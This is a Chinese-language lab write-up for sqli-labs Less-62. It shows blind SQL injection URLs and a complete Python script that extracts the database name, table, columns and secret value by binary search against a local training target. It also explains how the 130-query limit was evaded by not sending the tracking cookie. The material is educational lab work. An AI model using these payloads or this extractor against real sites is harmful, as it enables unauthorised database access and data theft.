【sqli-labs】 less62 GET -Challenge -Blind -130 queries allowed -Variation1 (GET型 挑战 盲注 只允许130次查询 变化1)

允许130次尝试，然后是个盲注漏洞，看来要单字符猜解了

加单引号，页面异常，但报错被屏蔽了

http://192.168.136.128/sqli-labs-master/Less-62/?id=1'

加注释符，说明不止是用单引号闭合

http://192.168.136.128/sqli-labs-master/Less-62/?id=1'%23

加单括号，页面恢复正常

http://192.168.136.128/sqli-labs-master/Less-62/?id=1')%23

猜解数据库名

http://192.168.136.128/sqli-labs-master/Less-62/?id=1') and ascii(substr((select database()),1,1))=98%23

http://192.168.136.128/sqli-labs-master/Less-62/?id=1') and ascii(substr((select database()),1,1))=99%23

数据库第一位字符为ascii=99的字符，即'c'

表名第一位字符'W'

http://192.168.136.128/sqli-labs-master/Less-62/?id=1') and ascii(substr((select table_name from information_schema.tables where table_schema='challenges'),1,1))=87%23

http://192.168.136.128/sqli-labs-master/Less-62/?id=1') and ascii(substr((select secret_1O45 from WOJXNS9PWT),1,1))=49%23

编写一个python脚本来完成操作

# -- coding: utf-8 --

# version: python 2.7

# file: less62.py

# time: 2018.2.4

# author: superkrissV

import urllib

import urllib2

headers={

        'Host': 'localhost',

        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',

        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',

        'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',

        'Accept-Encoding': 'gzip, deflate'

        }

target_url = "http://localhost/sqli-labs-master/Less-62/?id=1"

success_str = "Your Login name"

# ')闭合

length_payload = "') and length(%s)>=%d #"

char_payload = "') and ascii(substr(%s, %d, 1))>=%d #"

table_name = "(select table_name from information_schema.tables where table_schema='%s' limit %d,1)"

column_name = "(select column_name from information_schema.columns where table_schema='%s' and table_name='%s' limit %d,1)"

column_data = "(select %s from %s.%s limit %d, 1)"

ascii_start = 33

ascii_end = 126

max_length = 50

count = 0

# 构造对应的payload并发送

def sendRequest(payload):

    global count

    count += 1

    url = target_url + urllib.quote(payload)

#    print url

    try:

        request = urllib2.Request(url=url, headers=headers)

        response = urllib2.urlopen(request)

        if success_str in response.read():

            return True

        return False

    except urllib2.HTTPError as e:

        return False

# 利用递归和二分法获取长度

def getLength(start, end, command):

    if (start+1) == end:return start

    mid = (end+start) / 2

    if sendRequest(length_payload % (command, mid)):

        start = mid

    else:

        end = mid

#    print start,"    ",end

    result = getLength(start, end, command)

    return result

# 返回pos位置的字符的ascii码值

def getSingleChar(start, end, command, pos):

    if (start+1) == end:return start

    mid = (end+start) / 2

    if sendRequest(char_payload % (command, pos, mid)):

        start = mid

    else:

        end = mid

#    print start,"    ",end

    result = getSingleChar(start, end, command, pos)

    return result

def getInfo(command):

    i = 1

    info = ""

    maxLen = getLength(1, max_length, command)

    print command, " length:", maxLen

    while(1):

        if i > maxLen:break

        info += chr(getSingleChar(ascii_start, ascii_end, command, i))

        i += 1

        print info

getInfo("database()")

getInfo(table_name % ("challenges",0))

getInfo(column_name % ("challenges","ah5ketrxy1",0))

getInfo(column_name % ("challenges","ah5ketrxy1",1))

getInfo(column_name % ("challenges","ah5ketrxy1",2))

getInfo(column_data % ("secret_DRXQ","challenges", "ah5ketrxy1",0))

print "Count: ", count

输出如下

E:\python_scripts\dvwa>python less62.py

database()  length:

c

ch

cha

chal

chall

challe

challen

challeng

challenge

challenges

(select table_name from information_schema.tables where table_schema='challenges' limit ,)  length:

a

ah

ah5

ah5k

ah5ke

ah5ket

ah5ketr

ah5ketrx

ah5ketrxy

ah5ketrxy1

(select column_name from information_schema.columns where table_schema='challenges' and table_name='ah5ketrxy1' limit ,)  length:

i

id

(select column_name from information_schema.columns where table_schema='challenges' and table_name='ah5ketrxy1' limit ,)  length:

s

se

ses

sess

sessi

sessid

(select column_name from information_schema.columns where table_schema='challenges' and table_name='ah5ketrxy1' limit ,)  length:

s

se

sec

secr

secre

secret

secret_

secret_D

secret_DR

secret_DRX

secret_DRXQ

(select secret_DRXQ from challenges.ah5ketrxy1 limit , )  length:

c

cL

cLi

cLit

cLitv

cLitvi

cLitviU

cLitviUK

cLitviUKt

cLitviUKt6

cLitviUKt6b

cLitviUKt6b0

cLitviUKt6b0l

cLitviUKt6b0lM

cLitviUKt6b0lM1

cLitviUKt6b0lM1X

cLitviUKt6b0lM1XE

cLitviUKt6b0lM1XEo

cLitviUKt6b0lM1XEoD

cLitviUKt6b0lM1XEoD1

cLitviUKt6b0lM1XEoD1X

cLitviUKt6b0lM1XEoD1XK

cLitviUKt6b0lM1XEoD1XKA

cLitviUKt6b0lM1XEoD1XKA2

Count:  

可以发现，查出secret一共花了457个GET请求，远大于130的限制， 但是由于网站的计数是使用了cookie的，而脚本每次GET请求并没有携带相应的cookie，使得计数不成功，绕过了限制取到了数据

总共猜测字符至少24+11+10+10=55个（不算猜测长度），若在130的限制下，平均一个字符只有2-3次猜测机会，使用二分法的话，应该是不可能的。